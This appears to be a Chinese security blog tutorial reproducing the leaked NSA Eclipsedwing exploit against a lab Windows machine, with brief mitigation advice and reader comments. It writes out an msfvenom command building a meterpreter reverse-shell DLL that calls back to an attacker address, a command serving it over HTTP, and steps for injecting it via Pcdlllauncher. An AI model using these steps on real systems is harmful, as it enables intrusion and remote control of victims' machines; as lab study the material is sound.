当前位置:安全客 >> 知识详情

【技术分享】NSA武器库之Eclipsedwing复现

2017-06-19 10:36:03 阅读:19418次 收藏 来源: 安全客 作者:ComSoc

http://p3.qhimg.com/t018e14b882753db43f.png

作者ComSoc

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

 

导语


自shadow Brokers公布NSA泄露工具后,各路大神陆陆续续发表泄露工具各种exp复现过程,又WannaCry、EternalRocks勒索病毒的肆虐,无一不表现出泄露工具的威力,但泄露工具中光exploit就达15个,网络上搜索到的复现教程也就6个(Eternalblue,Eternalchampion,Eternalromance,Explodingcan,Esteemaudit,Easybee),还有一大半没有相关资料。那剩下的一大半就不重要吗?显然不是,NSA工具集值得学习的地方还有好多,于是有了今天的文章,有何不妥之处请各路大神指教!


前期准备


http://p2.qhimg.com/t0127609d0250cdfd01.png

靶机环境


http://p3.qhimg.com/t01a7072481fb2ba77c.png


Eclipsedwin漏洞复现过程


Use Eclipsedwin

http://p2.qhimg.com/t01152449fbfc90126a.png

设置目标IP、端口和NetBIOSName,NetBIOSName是计算机的标识名,该名字主要用于局域网中计算机之间的相互访问,可通过在cmd下输入hostname获得。

http://p1.qhimg.com/t01eed21a2a2c69d265.png

然后基本默认,

http://p2.qhimg.com/t01689659ba727b1a4b.png

Rpctouch Succeeded

http://p6.qhimg.com/t01e07ee023218a8a0c.png

http://p7.qhimg.com/t0112cc510357d81313.png

Eclipsedwingtouch Succeeded

http://p0.qhimg.com/t0111442574f7874f85.png

http://p2.qhimg.com/t01b7437ec46e50cd15.png

http://p7.qhimg.com/t013c8171709d4388e4.png

这时候在靶机上已经产生了一条连接

http://p5.qhimg.com/t0142f248d206219b9b.png


利用Pcdlllauncher注入dll


使用Pcdlllauncher

http://p8.qhimg.com/t0181cf6ce98deb0cae.png

需要注意的是LPEntryname的路径需要真实存在,找到自己对应的文件进行修改。

然后使用生成用于反弹shell的dll payload:

并使用python创建一个HTTP服务器,方便攻击机下载payload,

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.128 lport=8090 --platform windows -f dll -o eclipsedwin.dll
python -m SimpleHTTPServer 9090

http://p1.qhimg.com/t012c5afc6f66d72e7f.png

http://p4.qhimg.com/t014e6b5e995863e782.png

攻击机创建tmp目录,并将eclipsedwin_exe.dll下载到tmp目录下,然后进行配置,对PCBehavior选项选0

http://p2.qhimg.com/t0196aa49f167f82749.png

然后执行

http://p2.qhimg.com/t01a21da6636177cd9f.png

运行提示“FAILED TO DUPLICATE SOCKET”,但payload已经在靶机上运行了。查看metasploit,成功返回shell

http://p3.qhimg.com/t01ec00f00808db79c0.png


Eclipsedwin支持的系统


http://p7.qhimg.com/t01dfa0889501803ce8.png

http://p3.qhimg.com/t012b746c7d69c69358.png

NBT协议即net bios over TCP/IP,属于SMB(Server Message Block) Windows协议族,用于文件和打印共享服务。NBT(NetBIOS over TCP/IP) 使用137(UDP), 138(UDP) and 139 (TCP)来实现基于TCP/IP的NETBIOS网际互联。


防范手段


安装MS08-067补丁,开启防火墙过滤137-139,445端口,关闭SMB服务。



本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3994.html

参与讨论,请先 | 注册 | 匿名评论
发布
用户评论
any 2017-06-19 15:27:12
回复 |  点赞

ms08-067。。。

Mickey牛 2017-06-19 14:14:25
回复 |  点赞

怎样才简单呢?

你全家都是黑客 2017-06-19 11:18:48
回复 |  点赞

刚开始还一步一步仔细看,认真做。当看到最后“防范手段”的时候,我有一句mmp不知当不当讲。有ms08-067还需要这么复杂??

匿名用户 2017-06-19 11:23:26
回复 |  点赞

哈哈哈哈哈

你全家都是黑客 2017-06-19 11:18:48
回复 |  点赞

刚开始还一步一步仔细看,认真做。当看到最后“防范手段”的时候,我有一句mmp不知当不当讲。有ms08-067还需要这么复杂??

你全家都是黑客 2017-06-19 11:18:48
回复 |  点赞

刚开始还一步一步仔细看,认真做。当看到最后“防范手段”的时候,我有一句mmp不知当不当讲。有ms08-067还需要这么复杂??

查看更多